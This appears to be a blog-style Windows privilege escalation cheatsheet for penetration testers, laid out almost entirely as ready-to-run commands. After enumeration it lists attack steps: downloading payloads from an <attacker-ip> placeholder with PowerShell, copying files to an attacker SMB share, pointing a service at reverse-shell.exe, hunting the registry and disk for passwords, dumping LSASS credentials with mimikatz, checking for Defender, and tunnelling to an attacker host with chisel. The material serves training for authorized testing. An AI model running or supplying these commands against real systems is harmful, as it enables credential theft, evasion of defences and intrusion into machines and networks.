Windows Privilege Escalation Cheatsheet 🚀

rocky

Privilege escalation is a critical phase in penetration testing and Windows post-exploitation. Once an attacker gains a foothold on a machine, escalating privileges to Administrator or SYSTEM can unlock deeper access and lateral movement across the network. This cheatsheet provides a structured step-by-step guide to enumeration, exploiting misconfigurations, credentials dumping, service abuse, registry exploitation, and more!

Let’s escalate to SYSTEM! 🏴‍☠️

—

1️⃣ General Enumeration - Who Am I?

Basic User Information

whoami /all
echo %USERNAME%
whoami /groups

Do I Have Anything Fun? (Privileges Check)

whoami /priv
net user <username>

Look for SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, etc. 🚨

—

2️⃣ Where Am I? (System Info)

systeminfo
hostname

Look for hotfixes, outdated versions, and patch levels!

—

3️⃣ Anyone Home? (Users & Groups)

net users
net localgroup administrators

Check Logged-In Users

query user

—

4️⃣ What Am I Part Of? (Domain Enumeration)

whoami /groups
net group "Domain Admins" /domain

—

5️⃣ What Is This Place? (System & Installed Software Info)

wmic product get name,version,vendor

Look for outdated software for exploits.

—

6️⃣ Is It Fancy? (Checking System Integrity)

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Look for Windows version for kernel exploits.

—

7️⃣ Am I Tied Up? (Restrictions & Policies)

gpresult /z

Look for GPO restrictions that may prevent actions.

—

8️⃣ Anything Reachable? (Network Info & Open Ports)

ipconfig /all
netstat -ano

Check for open ports, firewall rules, or RDP access.

—

9️⃣ What Does The Inside Look Like? (Processes & Services)

tasklist /v
wmic service get name,displayname,pathname,startmode

Look for misconfigured services and exploitable binaries.

—

🔟 Leave Me Alone! (Defender & AV Checks)

sc query windefend
wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayName

Look for Windows Defender or AV software that might block your attacks.

—

🛠️ Exploitation Techniques 🚀

🔹 File Transfer - Upload/Download Files

Using SMB

copy file.exe \\<attacker-ip>\share

Using PowerShell

(New-Object System.Net.WebClient).DownloadFile("http://<attacker-ip>/file.exe", "C:\Users\Public\file.exe")

—

🔹 Automated Enumeration - WinPEAS & More

WinPEAS (Privilege Escalation Automated Scanner)

.\winPEASany.exe

PowerUp - Automated PrivEsc Finder

Import-Module .\PowerUp.ps1
Invoke-AllChecks

—

🔹 Hacking the Services (Service Misconfiguration)

Checking Access using Accesschk.exe

accesschk.exe -uwcqv "Authenticated Users" *

Getting ACLs

icacls "C:\Program Files\VulnerableService"

Exploiting Services - sc.exe

sc config <ServiceName> binPath= "C:\Attack\reverse-shell.exe"
sc start <ServiceName>

—

🔹 Registry Exploitation (Stored Passwords & Secrets)

Finding Credentials in Registry

reg query HKLM /f password /t REG_SZ /s

—

🔹 Credentials or Hashes (Extracting & Using Credentials)

Extracting Credentials from LSASS

mimikatz.exe
sekurlsa::logonpasswords

RunAs - Running Programs as Another User

runas /user:Administrator cmd.exe

—

🔹 Find Files Fast (Hunting for Sensitive Files)

dir /s /b *password*.*

—

🔹 Port Forwarding (Pivoting & Lateral Movement)

Using Chisel

chisel client <attacker-ip>:8080 R:9999:127.0.0.1:3389

Use it to tunnel RDP, SSH, or SMB through firewalls.

—

🔥 Final Thoughts

Mastering Windows Privilege Escalation requires practice. Focus on enumeration, misconfigurations, credentials, services, registry, and network pivoting.

🚀 “Try Harder” and Hack Like a Pro!